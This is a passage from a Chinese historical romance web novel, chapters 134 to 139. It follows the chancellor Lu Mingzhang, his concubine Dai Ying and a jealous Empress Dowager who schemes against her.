一个陌生的环境,心还没放定呢,任谁不被唬一跳。
惊诧间,她稳住神思,才发现那道视线不是别人,正是陆铭章,隔着珠帘,他看着她不说话,眼神有些古怪。
心里正待松口气,站立起身。
刚一抬脚,珠帘被撩起,从帘后走出一女子,女子衣着轻便,当她走近戴缨时,可观得她鬓发微湿,周身带了一点点的潮意。
就在戴缨懵怔中,旁边宫人的叱责响起。
“见了太后,还不行礼?”
戴缨这才回过神,意识到眼前秾丽逼人的女子是当朝太后,来不及多想,就要跪下叩拜,却被一个力道拉起。
不知陆铭章几时到了她身边,脸色非常不好,一身酒气烈到能烧人,但他的声音非常清晰地响起。
“你先出去。”
说这话时,陆铭章的一双眼盯着对面的赵映安,然而,他的这句话却是对戴缨说的。
虽然陆铭章发话了,可戴缨却不知该走该留,毕竟对面之人是大衍朝最为尊贵的女子。
在她踟蹰间,赵映安笑道:“原来就是她,你那新得的侍妾。”
说着往戴缨面上端详,又拿眼将她上下一睃,点了点头,“怨不得你这般护着,真真像个雪凝成的人儿。”
一个小妾,赵映安不放在眼里,在她看来,那不过是男人纾解的玩意罢了,但风雪夜动用全城禁卫,陆铭章亲自将人带回,这可就不是小妾该有的待遇了。
在赵映安打量戴缨的同时,出于地位的不对等,戴缨不敢回看。
一个醉酒的年轻权臣,一个深宫孤寂的美艳太后,那太后身上还裹着一点点春潮,在她来之前,这二人有无发生什么……
第134章 曾经的青梅竹马
戴缨将衣袖下的手心狠狠一掐,微垂着颈儿,目光虚看着地面的影儿,殿内烛火摇曳,将三人的影子投在地面,如同皮影戏中纠缠的角色。
自己像一个误闯桃花园,惊扰到一对璧人的小丑,及至这一时,面前的两人在她脑中才算真正地清晰起来。
这是一对有过婚约的青梅竹马啊!她好像成了他二人禁忌关系中的调剂品。
陆铭章叫宫人领戴缨下去,等人走后,殿中只剩他和赵映安两人。
他走到一张靠椅前,坐下,身体向后靠着椅背,头往后仰,手覆着额,遮住眼,因着吞咽的动作,喉结上下滚动。
再无一点臣子该有的恭顺态,全身上下都是逆桀和放肆
“我说过罢。”陆铭章的声音懒懒地从喉间发出,“叫你别把手伸太长。”
赵映安脸上堆起笑:“不过是见你醉得厉害,就把人叫来,在你身边伺候,并无别的什么,怎的这也不行?”
陆铭章调整坐姿,抬眼看向赵映安,冷笑道:“你打得什么主意,当我不知?”
因着这句话,赵映安心里一瑟缩,她心里的想法被他一眼望到底。
她在探他的态度,一小步一小步去试探,想看看他能忍到什么程度,能退到什么程度。
在他适婚之年,陆家为他相看了女方,定下婚期,在外人看来,他是一个极度自律,规行矩步之人。
但她知道并不是,那只是他呈出来的表象。
对于不值得他费心之事,他会按照正经的轨迹去走,或是听由安排,因为无所谓,实际上,一切都在他的掌控内。
他的城府和野心,并非源于个人私欲的无限膨胀,而是,在其位,谋其政,行其权,尽其责,一切行为皆有章法。
他甚至会用一些不那么光明正大的权术手段去打击政敌,因为他认为这些必要的牺牲是为了整体的稳定。
后来,那女人意外**,他心里清楚,没说什么,这样的“不幸”再一次发生,他仍未有任何表态。
从那之后,对于族中给他相看的女方,他都找各种理由推拒,堂堂大衍宰执,后院却无妻室,孤身到现在。
直到有一日,她听说他欲纳妾,心里有一瞬不安,可再一想,区区一个妾室,不当什么。
然而,这个妾室似有不同。
为了那女人,他对她当面言语威胁,她对陆铭章有着很深的情感,近乎偏执地想要占有。
然而,不得否认,她忌惮他。
是以这一次,她不敢如同前两次那样,她需小心地试探,再看陆铭章的反应。
她一直以为,因着她太后的身份,无论她做了什么,他都会替自己掩护和维护,因为,她代表了皇权,他维护的不是她个人,而是整个统治阶层。
若他对那小妾的态度无关紧要,那么好办,杀了。
若他对那小妾的态度眷顾在意,那么这女人……更该死!
而今夜,就是她的又一次试探,他醉了酒,她让人将那女人接到宫里,她再以一种说不清道不明的姿样出现。
这一次……她要探他的心。
在那女人来之前,她适时地进到里间,看着榻上醉沉之人,不知是不是饮酒太过,哪怕闭着眼,他的眉心也是蹙着。
她坐到榻沿,伸出手,缓缓探过去,想要替他抚平眉间的忧思。
指尖距他眉心一厘时,那双眼陡然睁开,毫无征兆之下,“啪”的一声,她的手被他重重打开。
赵映安手上发麻,心尖发颤,在她和他都未来得及开口的情况下,殿前响来脚步声。
那女人来了……
这一刻,前所未有的,她在他的脸上看到了一丝慌乱。
于是,她很快有了决断,这个叫戴缨的女子,绝不能留!
她将思绪转回,面对陆铭章的质问,解释道:“我能有什么心思,知道你疼这丫头,想你又醉成这样,旁人来伺候,你不一定瞧得上,这才想着把你的人接进宫里,一番好意,你不领情就罢了,怎的还质问起来。”
陆铭章又岂是随她几句话能糊弄的。
“你
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心里怎么想的,你清楚,我也清楚,你若好好当这个太后,便好好当,若是腻烦了,就滚下来,我仍是那句话,大衍不能没有皇帝,却不是不能没有太后。”
陆铭章站起身,离开前又丢下一句:“从这一刻始,她身上但凡发生一件不好的事来,我都记到你头上。”
说罢,头也不回地离开。
对于陆铭章来说,他的行止准则,构筑于“君臣”的纲常之上,所以,赵映安量准了无论她做得多么过分,陆铭章不会将她怎样,然而这一次,她不确定了。
清冷得被夜色快要吞噬的殿宇,宫人们于殿外垂手侍立,敛着眼皮,像是一具具没有生命的提线木偶,夜风穿过长廊,带来远处更漏的余音。
散着昏黄光线的殿内,是一声接一声的碎响,重重地砸在地上,靠近门首的一名宫侍,活动他那眼珠,往里瞟。
碎瓷片,歪倒的桌椅,折断的灯台,一地狼藉……
……
回程的马车里,戴缨打起窗帘,往外看,他们已经出了宫门,行于整阔的街道。
不是她对深夜的街景好奇,而是不想同身边人对上目光。
陆铭章也没说话,他看了她一眼,然后收回目光,端坐不语。
车里很静,长安坐在车辕,驾着马车缓缓往回赶。
陆铭章端坐着,心道是不是要说点什么,可转念一想,说什么呢?说多了倒显得他惧内似的。
他长她那么多,怎能被她拿捏住,那也太不像样,这个头不能开,否则日后更难哄。
思索一番,决定默着脸,闭嘴不言。
回了一方居,戴缨先一步进到屋里,径直去了里间。
陆铭章身上酒息很浓,在下人们备好热水后,转身去了沐间。
待他沐洗更衣毕,入到里间,揭起床幔才发现榻上空着,衾被蜷着,连点余温都无。
他一声不言语地入榻,靠坐着,直直看着虚空的某一处,也不知在想什么,坐了没一会儿,又起身,趿鞋下榻,走到门边打开门……
第135章 屋里太暗,我看不清你
陆铭章从沐间出来,见榻上无人,于是一声不言语地靠坐于床头,坐了会儿,又走到门边,朝外吩咐。
“给我做一份醒酒汤来。”
七月应下,就要转头吩咐小丫头,又被陆铭章叫住:“顺便叫厨房再炖一份牛乳羹。”
七月愣了愣,家主和戴姨娘从宫中归来,相互间也不说话,甚至回避着对方的目光,那会儿就觉着有些不对。
后来家主沐身,戴姨娘不声不气地披着外衫去了侧屋。
也不知发生了何事,不过主人家的私事,他们这些做下人的不能乱揣测,照着吩咐行事就是。
没用多久,一碗醒酒汤,还有一碗牛乳羹端了上来,不用另外吩咐,七月出了正屋,行到侧屋敲响房门。
屋里先是静了会儿,就在她以为没有回应时,传来一声询问。
“何事?”
“姨娘,爷让厨房做了牛乳羹,叫你去尝尝。”七月隔着门板说道。
这一次的回话很快:“不了,告诉大人,就说我已歇下。”
七月只好将这话转于家主。
“行了,你下去。”陆铭章说道。
七月应声退下。
陆铭章拿起调羹在醒酒汤里舀了舀,一直把汤舀凉了,却一口未喝。
侧屋暗得没有一丝光,今夜在宫殿里那二人并立的一幕,在戴缨脑子里怎么都驱不散。
房门“吱呀”一声开了,那脚步在外间顿了顿,想是屋中太暗,眼睛一时无法适应,过了一会儿,才往里间走来,走到榻前停下。
她感觉到他坐了下来,接下来就没有动静了,于是好奇地回过头。
发现陆铭章双手抱枕于脑后,靠坐着,一条腿屈起,一条腿搭于床沿。
见她回头,便回看向她,说道:“这屋里太暗,叫我看不清你,去那屋,你心里定是有话要问。”
戴缨缓缓坐起,盘着腿,瓮声道:“我是什么身份,哪敢问。”
戴缨嘟囔间,陆铭章从黑暗中握住她的手,再将人打横抱起,就在她准备挣脱时,他追说一句:“莫要乱动,我喝酒了,有些行不稳。”
他将她抱回主屋,放到榻上,打下帐幔,跟着也入到帐中。
“想问什么,尽管问来。”陆铭章说道。
“真的什么都可以问?”
陆铭章点了点头。
戴缨先是看了陆铭章一眼,虽是沐过身,可脸上仍有些红,眼睛带着醉意,她看向他时,他也回看过来,眼中带了一点点笑。
既然他让她发问,她便直言问了出来。
“妾身去那宫殿前,大人同太后有没有……”说着这里,戴缨后知后觉地捂上嘴,睁大眼,“我是不是知道得太多了。”
陆铭章等着她的问话,谁知憋出这么一句,一下子没忍住,笑出声:“确实知道得有点多,想不想知道更多?”
“大人若愿意讲,阿缨自是洗耳恭听。”
笑声渐止,陆铭章再次开口道:“让我想想,从哪里讲起,二十年前?”
戴缨赶紧打住:“听那陈年旧事做甚,不若大人坦白,今夜这酒,可曾让您行了什么……出格之举?”
“不曾。”陆铭章回道。
此话问了也是白问,没法印证,她问这一嘴,不过是安慰自己。
戴缨继而又问:“那为何妾身去时,你同太后共处一室?”
陆铭章没有直接回答这个问题,而是说起另一件事。
“你可知从前同我定过亲的两位女子,在过门前皆丢了性命?”
戴缨点了点头,这并不是什么秘密:“知道。”
曾经有一段时间,坊间有传陆铭章克妻,直至后来他孤身不娶,这个声音才一点点消解。
“那两名女子并非死于意外。”陆铭章说道。
就在戴缨惊疑间,陆铭章道出从前的往事,无非就是两小无猜的戏码,最后阴差阳错没能有情人终成眷
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属。
当然了,这是戴缨基于陆铭章陈述的往事,自己渲染出来的总结。
毕竟从陆铭章嘴里说出来的故事,就是二人从小玩在一处,然后他离家,离京前找过赵映安一次,几年过去,他回到陆家,她嫁了人。
四个字,平平无奇。
“大人离京前找过她?”戴缨问道。
陆铭章“嗯”着应了:“问她愿不愿随我离京,她不愿,我就独身走了。”
听到这里,戴缨才会出点味来,追问道:“所以大人心里其实是介意的。”
“介意?介意什么?”
“介意当年太后没有跟你一道离京,所以你寒了心,无法原谅她,二人自此渐行渐远。”戴缨试图用她的理解来还原故事的脉络。
陆铭章闷笑出声,说道:“你去倒盏茶于我,待我润润嗓,再往下说。”
戴缨着急听他的答话,于是下榻替他倒了盏凉茶。
陆铭章慢饮,戴缨从旁催促:“我的猜测可对?大人心里仍是介意的。”
陆铭章将杯盏放于床头,这才开口:“我的心眼就这样小?为着一件不值一提的事,还介意上了?”
接着听他又道:“那会儿她不跟我走是对的,本身也是我的问题,没有考虑太多,直戳戳地跑到她府前,向她讨话,只因我和她儿时常玩在一处,说些单纯天真的话。”
“不知不觉将她当成了‘自己人’,再加上我和她又有婚约,很小就认为自己对她有照顾的义务。”
戴缨听着,这一番心理确实符合陆铭章的脾性,他口中的“自己人”带有家人的意味。
“妾身听人说,大人重归陆家后,赵太后已同他人定了亲。”戴缨问道。
“又是听溪丫头说的?”
戴缨没否认,这府里的事瞒不过他。
“赵映安这人……”陆铭章顿了顿,继续说道,“当年我归陆家时,她并没有同太子定亲……”
第136章 他的喜欢在这里
陆铭章归家时,那位赵太后并未定亲,先前戴缨从陆溪儿嘴里听到时,以为这对璧人有缘无分,彼此错过,这么说来……并不是。
“也就是说,太后当时同大人的亲事仍做准?”戴缨问道。
“是,虽说我离了家,但老头儿并未将我从族谱剔除,我和赵映安的亲事仍是做准的。”陆铭章又道,“且,那一年她和我正值嫁娶之龄。”
“后来……她家人上门,想要解除婚约,我母亲没有多想,就应下了。”
“老夫人应了?”
陆铭章点头道:“因为赵家攀上了太子府,后来,她让人递了一封书信于我,可需我把信中的内容讲与你听?”
戴缨连连摆手,私密书信,她还是不要看了,不过那信中内容多半是互不再扰之类的话。
“大人心里可有遗憾?”戴缨又问,离家一趟,未婚妻子成了别人的。
陆铭章轻笑出声:“有什么可遗憾的。”
戴缨靠近他,直直观着他的眼,问道:“大人心里定是喜欢过的,不然怎么都同家人闹翻了,自顾不暇的情况下,还念着人家?离京前还想把人带在身边。”
“你这脑子在想什么?”陆铭章并起两指,点了点她的额,“你怕是糊涂了,我离京时虚岁十二,实岁不过十一,知道什么是喜欢?就谈男女之情?”
说罢,又道,“不过真要说喜欢……”
正在关键时,陆铭章不讲了,吹熄了床头烛火,躺进被中:“晚了,睡罢。”
戴缨还未回过神,眼前就暗了下来,且陆铭章的话只讲一半,哪里肯依,遂跟着躺下,挨近他追问:“话没说完呢,真要说喜欢怎么样?”
陆铭章拍了拍她的背,说道:“不是说过么,你忘了。”
戴缨想了又想,说过……喜欢?什么时候?
她的思绪开始调动,前前后后所有让她记忆深刻的片段在脑中来回翻滚。
那一夜很冷,屋里却很暖融,她敲响他的房门,榻间,她环上他的颈,问了一句:
大人喜欢阿缨么?
他吻上她的唇角,给了回应,喜欢……
原来他的喜欢在这里……戴缨满意了,心安了,闭上眼,嘴角带着笑,窝在陆铭章的怀里睡去,黑夜中不知想到什么,双眼倏地睁开,想起一个被她忽略掉的关键。
声音又轻又急,脱口问出:“等等,那两名女子是被害的?!那我呢?赵太后会不会派人杀我?”
然而没有回应,陆铭章已然睡去。
之后几日,朝廷定下接引金城公主的人选为陆铭章。
罗扶国使团在京都没有久留,前前后后不到一个月离了京。
在罗扶国使团临行前,陆铭章又是一阵忙碌,待使团彻底离开后,他并未闲下来,因为再过一段时日大衍使团就要前往罗扶。
这一程自是千里**之遥。
端说大衍境内,从这个城到另一个城,一路畅行的情况下,还要一到两个月,这还是相隔不算太远的。
遑论跨越边境的异国。
后来,她拿出舆图,丈量比画,从大衍京都到罗扶国都,这中间隔着好远。
如此一算,山高路远,一来一去,只怕到了新年,陆铭章都不能回来同家人相聚。
……
这日,天气晴和,正巧陆铭章休沐,携同家人往城外的青山寺烧香祈福。
戴缨伴陆老夫人入到庙中,祈拜一番,出了庙门到寺庙后院禅房请高僧开示。
有何氏和姚氏陪着,老夫人念她年纪轻,怕她嫌枯燥,便不用她在跟前侍候,让她离了禅房。
戴缨出了禅房,寻了一圈,没见着陆溪儿和陆意儿,准备带着下人往后山走一走,谁知刚走了没两步,被一个声音叫住。
“可是华四锦的戴娘子?”
戴缨回过头,就见身后不远处站了一锦衣妇人。
那妇人看上去不上四十,皮肤白皙,鬓间簪着珠翠,身后跟着几名丫鬟和小厮。
戴缨看了一眼,很确定,她不认识此人,可以说从未见过。
那妇人走上前来,因着对方年长,戴缨出于礼貌,稍稍欠身:“夫人是……”
妇人温和笑道:“妾随夫姓胡。”
说罢,见戴缨好似仍未记起,提醒道:“小娘子想是不记得了,那批劣质生丝,京
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都衙令。”
劣质生丝戴缨哪能忘,京都衙令胡渊她更是记得,只是眼前这妇人,她不记得自己见过,但她说自己随夫姓胡。
“恕妾身冒昧,只是先前并不曾见过夫人。”
胡夫人笑道:“你没见过我,我却是见过你。”
那日她家老爷将这位女东家传至堂间,她就在后堂,出于好奇,偷摸着瞧了一瞧,不想今日在青山寺碰到了,遂一眼认了出来。
“那日你同我家老爷于前堂议事,我就坐于隔屏后。”胡夫人又道,“也多亏了你,方解了那些绸缎庄的燃眉之急。”
戴缨了然,微笑道:“叫夫人笑话了,一点点小事并不当什么,只是妾身手头正巧有些闲散银子,想着多囤积一些丝货总无坏处,既解了自身之需,又能为诸位同行略尽绵力,也是两便之策。”
胡夫人赞赏地点了点头,两人闲散说着话,并肩往后山行去。
“戴娘子一人前来还是随家人来这青山寺?”胡夫人问道。
“妾随家人一同前来。”戴缨也问,“夫人呢?随胡大人一起来的?”
“是,我家老爷另有事去了,我便携着家下人在附近随意转转,这不正巧遇到你,也是缘分。”
胡夫人不便言明,实是寺庙来了大人物,她家老爷前去谒见。
两人就这么一边漫步,一边闲话,先是在后山转了一圈,再往山下走。
胡夫人想到什么,突然问道:“对了,我记得你好像并不是京都人士,家在平谷。”
戴缨点头道:“老家在平谷,后来我来了京都,户籍随夫,转到京都来了。”
“你家郎君也是京都人?”这一点胡夫人倒未想到,只因那时这位女东家被卢主簿刁难,其中有一头揪着不放,说的就是她没有京都本地人做保。
且这小娘子看着年纪并不很大,应该不上二十。
戴缨并不隐瞒:“我家老爷是京都人士,所以随了他的户籍。”
这就让胡夫人糊涂了,追问:“若你家郎君为京都人,先前怎的不叫他做你的保人?你一女子在外开店,有他个男儿在,避免许多麻烦……”
第137章 她必须得死
胡夫人觉着奇怪,这位戴小娘子的郎君乃京都人,她也已随夫入了京籍,先前在衙堂审问时为何不说?
另外,最最奇怪的一点,当时出了那样的**,她家男人怎的不出面?叫她一小妇人独立衙堂?
这么一看,处处都说不过去,遂追问起来。
“我家老爷事务繁重,不想因着一点小事烦他。”戴缨说道。
及至此刻,先前被忽略的一词,兀地**夫人捕捉,老爷?
当下暗忖,这位女东家的年纪看起来不大,却称她家郎君为老爷?转念一想,了然了,许是那男人年岁很大。
再看那这位戴小娘子,觉着可惜,容貌好,还是个能掌事的,料想那男人在京都有些小钱财,又或是哪个府衙的胥吏,有些小权。
胡夫人笑道:“小娘子就是太替人着想了,你家老爷能有多忙?比我家那位还忙不成?”
戴缨笑了笑,没有接话。
两人已从后山下到寺庙后院,这时,一个丫头急走到戴缨跟前,说道:“姨娘,老夫人那边差不多了。”
戴缨点了点头,转身又同胡夫人说了两句,辞了去。
那胡夫人望着戴缨的背影看了会儿,正巧家下人来说,大人正着人寻她,于是往另一边去了。
胡夫人见了胡渊,问道:“老爷见过陆相了?”
“自是见了,相公最近事务繁重,不仅要料理本职事务,还要操心往罗扶的接引事宜。”胡渊拈髯,又道,“倒是问了我一些话。”
“问得什么?”
“他问先前城中那批外商后来怎么处理的,又大概问了此事的经过。”胡渊说道。
胡夫人又问:“那老爷怎么说的?”
“还能怎么说,自是照实了说。”胡渊说道,“顺带把那小丫头略略提了提,此事她功不可没。”
说着到这里,胡渊“嘶”了一声,“倒也奇了,先前陆相公还缄默不语,好似说起这劣质丝货一事,他尤为感兴趣,连带着问了许多那女东家的事。”
胡夫人笑道:“这也不奇怪,乍一听是位女子挺身举告,便随口多问了几句。”
“不,不。”胡渊摆了摆手,“陆相公问得不止这,他还问事后有无对那女东家奖赏,说那女子牵头不易,不该冷了商民的心。”
胡夫人想了想,也觉着这话有些怪,却又说不出哪里怪,终于得出一个结论。
“陆相这是体察民情。”
说到这里,胡夫人轻笑出声:“也是巧,老爷猜我在寺庙后院遇到谁?”
“谁?”
“正是那位华四锦的女东家。”胡夫人说道,“且妾身还探得原来她已嫁到京都,她家男人就是京都人士。”
胡渊并不在意,道了一句:“应是在渠昌府衙办的手续,我这边一点不知。”
胡夫人本欲多说几句,见自家老爷好似不感兴趣,便没再多言。
两人又坐了一会儿,起身往寺庙外走去,打算回城。
刚走出禅房没几步,就见一排马车停于庙门前,胡渊立刻住脚不再往前,带着家人避让到树荫下。
胡夫人拿问询的眼神看向他,胡渊用下巴指了指,说道:“是陆相的车驾,咱们得避让。”
胡夫人一听,好奇地往那边看去,先是扫了一眼,突然目光回缩,定在一处,再瞪大,嘴巴微张,生怕自己看错,凝着眉,把脖子往前探。
“怎么了?”胡渊见自家夫人面色不对,关心道。
“哎哟,老爷,莫不是妾身花了眼。”胡夫人眼睛仍盯着那一队车马,拿手招呼她家男人,“你看看,那人可是华四锦的女东家?”
胡渊听后,顺着胡夫人的目光看去,为让自己看得更清,把眼眯了又眯,待看清后,不信,又揉了揉眼。
阔大的马车前,一女子踏着踩凳,正欲进到马车里,只见她一手捉裙,一手扶着旁边之人,许是踩到了什么,绊了一下,身子往前倾去,原本在她身后的那人眼疾手快地将她的身体稳住。
那人一手揭帘,一手虚护着她入到马车里,待她进到车内,那人才跟着上了马车。
等一队人马驶离,胡家夫妇仍有些回不过神。
那女子皮肤雪白,在一众人中十分打眼,不是那位女东家,却又是谁!而环护在她身侧的那人,正是胡渊才拜见过的陆相。
胡夫人讷讷道:“那女东家说她家老爷事务繁重,不便出面……”<
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br>及至此时,她才体味过来这句话里的意思。
“天爷,这……这怎么就没想到呢。”胡夫人又是拊掌,又是跌脚地长叹。
胡渊半日没有言语,他没工夫说话,因为脑子一直忙着从记忆中翻查自己有无言语冒犯这位女东家的地方。
先是从衙堂审案,再到召她到敞厅议事,一直到此案结束,他把这一段记忆拉长,一点一点摩挲着,没有发现大的问题。
再结合当下的情形,又回想适才在陆相面前有无说错话,就这么细细思索一番。
最后得出结论,他是安全的,这才听到自家夫人在耳边的絮叨:“妾身听闻陆相一直孤身。”
“从前是,后来听说纳了一房,据说连一桌酒席都未有,也没叫多少人知道。”胡渊说着,咂摸一声,“想不到竟是这位华四锦的女东家。”
且就他刚才观得,陆相公必是极疼这位,亲身扶她上马车,护成这样,就是正头娘子也没有这待遇。
难怪适才谈及劣质丝货一事,他的话就密了。
正在思忖间,胡夫人插话道:“这谣言并不可信呐。”
“什么谣言?”
“老爷怎的忘了,从前同陆相定亲的两位贵女,皆是出嫁前丧命,坊间传相爷克妻,一连**两任。”
胡大人点头道:“夫人所言甚是,只是……这华似锦的女东家算不得妻,而是侧室,自然,谣言是断断不能信的。”
两人又说了些话,叫下人备好马车,往城中驶去。
……
自打罗扶国使臣来大衍那次,赵映安让人把戴缨引进宫,不为别的,就为着试探,因为她觉着这次有些不同,出于警惕,并不敢像之前那样肆无忌惮地出手。
最后试探的结果是,戴缨必须得死。
然而,陆铭章离宫前的那一番警告,但凡这女子有一点不好,他都记到她的头上。
陆铭章是个言出必行之人,他的任何一句话都不会是玩笑。
赵映安无法,只能把心底的愤恨暂先压下,她需要等待时机,而这个时机不须她另外去寻,老天爷已经给她安排好了。
待陆铭章率使团赴罗扶,那小妾的命也就到头了……
第138章 初始情浓
赵映安是一定要戴缨死的,原先还只当这女子不过一个无关紧要的妾室,不值一顾。
然而,当她察觉到陆铭章对这女人的态度,那看似不经意的回护,使她的妒意疯了一般滋长。
她要她死!
可她忌惮陆铭章,她同他自小玩在一处,没人比她更清楚他那温文尔雅的表象下,藏着怎样决绝的手段与心性。
是以,想要结果那女人,需要等候时机。
不过嘛……离使团出发还有好一段时日,她却不想让那名叫戴缨的女子好过。
宝宁殿中,赵安映一手撑着额,闭着眼,高架案几上兽烟袅袅,再破碎于空中。
“静雨,你可知我现下的烦心?”赵映安问道。
香炉侧边立着一高挑女官,女官细眉细眼,鼻梁很高,一双眼珠被那破碎的烟气染出一抹幽紫。
此人名静雨,是赵府的大丫头,随赵映安进了宫,做女官随侍。
“婢子知晓。”
她不仅是赵映安的贴身女官,还是赵府的家奴,太后同陆相之间的牵绊,她比谁都清楚。
当年她家娘子千不该,万不该,走错了一步,那时,她曾从旁劝过。
皇子虽说位高权重,可那深宫不是一般女子受得住的,高耸入云的宫墙,抬头,连天空都是宫墙围出的形状,低头,是走不出的方寸。
且太子这人……风评极差,未立太子妃前,府内已充斥着他搜罗来的脔宠,男女不忌。
那太子只有一个头衔比得过陆家郎君,其他方面,连陆家郎君的万分之一都不如,真真是一身的脏乱。
当时,她家娘子怎么说的?
“阿晏再好,又怎么样呢,陆家势颓,终不是我的归宿,太子纵然千不好万不好,他那头衔却胜过无数。”
哪怕到现在,赵映安也一直以为,是她不要陆铭章,是她剪断了她和他之间的那条红线。
然而,事实并非如此。
当年,陆铭章回陆家不久,就将他老头儿陆淮“逼离”了府,
说逼离也不准确,只因这里面有陆淮自己的妥协和退让。
一个妻子不待见他,二个儿子自散功力,离家多年,陆淮自己心意已灰,待长子让他离开时,他没多犹豫,离了家。
后来,在陆母身体未愈前,赵家派人来过一次,那时,因陆老夫人卧病在床,无法见客,赵家人见是陆铭章出面,不好言明,便走了。
陆铭章瞧出端倪,留了心,叫人一探,心里有了数。
再后来,太子宴客,陆铭章当时也在,太子有意问他:“觉着赵家女儿如何?”
陆铭章装傻充愣道:“赵家女性情娴静,家世清贵,乃京中典范。”
太子点了点头,嘴角带着戏谑地笑,又问:“听闻晏清同那赵家小娘子订有婚约,不知可有此事?”
陆铭章连连摆手:“殿下折煞了,自罪臣被逐出家门,早已是家族弃子,岂敢再玷污赵氏门楣。”
太子见陆铭章如此态度,方满意。
他并不想因为赵映安给陆家惹上麻烦,不值当,在他羽翼未丰前,必须得隐忍伏蛰。
是以,赵映安并不知道,在赵家同陆母商议解除婚契前,陆铭章不带一点犹豫地断了他和她之间的牵系……
静雨能一直伴在赵映安身边,且得赵映安看重,自是有她的一番过人之处。
当赵映安问,如何解她烦忧时,静雨只稍稍沉吟片刻就给出了答案。
“相爷可是威胁太后不许动那女子?”
赵映安正烦,好像戴缨多活一刻,对她来说就是极大的折辱。
“若他说的是这个话,倒还好了,大不了来个借刀**,总能把人给无声息地了结,一切也就圆满了。”
静雨想了想,说道:“太后何不等陆相离京后……不,待陆相离开大衍,咱们再料理了那个叫戴缨的女子,彼时陆相归来,人早已化成枯骨。”
“再者,罗扶距大衍千**之遥,这一去一回,
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时日不短,指不定归京后,陆相对那女子的喜爱,早不如初始情浓。”
赵映安沉出一口气,抿了抿嘴角,端起茶盏呷了一口道:“你跟我这么久,怎么也不懂我的心思。”接着,又道,“虽说使团正在筹备出访事宜,离动身还有好长时日,我却忍不到那个时候。”
静雨应是,想了想说道:“婢子倒是有个办法,正所谓硬伤易愈,软刀子却伤人于无形,其痛入骨。”
“哦?什么法子,说来。”赵映安问道。
静雨没有直接回答,而是风马牛不相及地说了一句:“过几日便是陆家老夫人的生辰。”
接着她俯身到赵映安耳边,低声说了几句,赵映安将手指在盏沿缓缓划过,轻笑一声:“倒是个办法,只是……此事牵扯过大,需得好好谋划。”
“是。”
赵映安又道:“也不知那人应是不应。”
“太后安心,那种人,不动情则已,但凡动情,比之常人更甚十倍百倍。”静雨说道,“不过太后说得是,得她心甘情愿方能事成。”
赵映安嘴角挂起向上的弧度,这一招……极好!
……
如今陆铭川不常往一方居走动,有意避着那院里的人。
然而,却也避得不干脆,虽不往一方居去,却常到**阁的顶层,一坐就是小半日,也不看别处,就望着一个方向。
等见着那道日思夜想的身影从一方居出来,他便期盼着什么,许是想她往**阁这方来,他再做出偶遇的模样,同她说上三两句话,那么这一日余下的时间里他会很欢喜。
然而,她去上房,去后园,又或是出府,总不往这方来,他便只能立在高处默默地看着她。
陆铭川叹了一口气,双臂抱头,靠坐到长围栏边,这时行鹿轩的小厮急急走来。
“三爷,府外有人递了帖。”
陆铭川一手挡住刺眼的阳光,一手接过帖子,展开看了,嘴里跟着念出:苏小小?
第139章 牵动人心
陆铭川从前在外玩得很花,哪怕小陆崇的母亲还在世时,他也没有收敛过。
直到那次闹出了人命,被贬谪到地方外放了几年,回京后才渐渐收了玩性。
平时只和同僚在楼子里吃吃酒,又或是到三大青楼听听曲儿,自然而然地就成了三大青楼的座上宾。
他已有好长一段时日没去丽春院,这苏小小给他发帖子做甚?
丽春院乃三大青楼之一。
青楼同妓院不同,并非像妓院那样纯纯提供皮肉生意,顶尖的青楼,唤作“行院”,是丝竹管弦不绝、文人墨客的雅集之所。
其间女子,个个是精**了琴棋书画、诸般技艺的妙人,坐卧谈吐,皆有其风致。
而苏小小又是这些女子之最,怎的突然给他下帖,陆铭川将帖子收下,等到天暗时,叫人备了马车,去了一趟丽春院。
夜里的丽春院同白日全不相同。
楼里灯火莹煌,彩绸张结,门前停了许多香车宝马,有些停当不下,楼里的伙计便牵到后院。
楼里的伙计将陆铭川殷勤地迎进楼里,不一时,楼里的管事也出来了,将他往楼上引。
“三爷好久不来。”楼管事笑说道。
陆铭川轻笑一声:“我来不来有什么要紧,你们这儿也不缺我这一位客人。”
楼管事知道这位陆三爷是个随性之人,虽有身分却并不拿大,同他们这些人也好说话。
到了楼上,拐过一条走廊,小厮上前敲响房门。
一个小丫头将门打开,陆铭川走了进去,那楼管事和跑腿的伙计就退了下去。
苏小小见了陆铭川,上前道了万福:“三爷好长时日不来,不知奴哪里得罪了您这大人物。”
陆铭川撩衣坐下,丫鬟看了茶退到外间。
“能叫你下帖也是稀奇,什么事,说来。”陆铭川单刀直入地发问。
苏小小笑着坐到他对面,一面给自己倒茶水,一面说道:“三爷怎知我有事相求,就不说小小邀三爷前来听曲儿?”
“别人我不知道,你我还是清楚的,虽有一把好嗓子,却最烦弹唱,每每有客来,你那眉头都能夹死苍蝇,恨不能三两句唱完了,把人撵走。”陆铭川笑着摇了摇头,“你会亲自下帖叫人上门听曲儿?”
苏小小扑哧一笑:“还是三爷懂小小。”
“到底何事,直言。”
苏小小幽幽叹了一声,说道:“那傅娇儿前段时日去了宣平侯府,给侯府的老大人唱曲贺寿。”停了一下,看向对面的陆铭川,“三爷是知道的,奴自来和傅娇儿比惯了,怎能叫她压我一头。”
人人皆知,丽春院的苏小小和红袖馆的傅娇儿向来不对付,不论做什么,这二人都要赛一赛,非要比出个高低。
“所以你找我来,是为了……”陆铭川探问道。
“奴听说,陆老夫人也要过生辰,心想着,贵府同宣平侯家有一层姻亲在,若能到三爷府上给老夫人唱个曲儿,打个板儿,也就心满意足了。”
陆铭川听后,笑道:“原是为着这事,老夫人生辰那日,府里也要请些梨园子弟前来热闹热闹,若得你苏大家亲临,为老夫人增光添彩,那更是锦上添花,再好不过了。”
苏小小一听,面上露出笑意:“届时奴定当备下精心曲目,过府为老夫人庆贺。”
一件小事就此定下。
然而次日,陆老夫人收到拜帖,正是苏小小递上的,自称新近谱得几支曲子,欲弹唱于座前,恳请老夫人拨冗赐见。
像陆老夫人这类金贵的妇人,时间是最为富绰的。
成日也没处可去,最多往城外的寺庙烧香礼佛,再就是听曲儿、听戏,或是叫女先到府里来说书,听曲儿亦是让戏班子到府上来。
而这三大楼的大家名头不同一般演艺人。
陆府这等门第固然请得动,但如苏小小这般自荐上门的,却是头一遭。
老夫人哪有不应的,当下就遣人将苏小小接进了府。
戴缨带着丫头往上房行去,走到门首下,隔着门帘传来高高低低的琵琶声,伴着清软缓扬的女音。
“谁在里面?”戴缨问道。
打帘的丫头笑回道:“是丽春院的苏大家。”
苏小小?又不是什么节庆,她怎么会到陆府来?
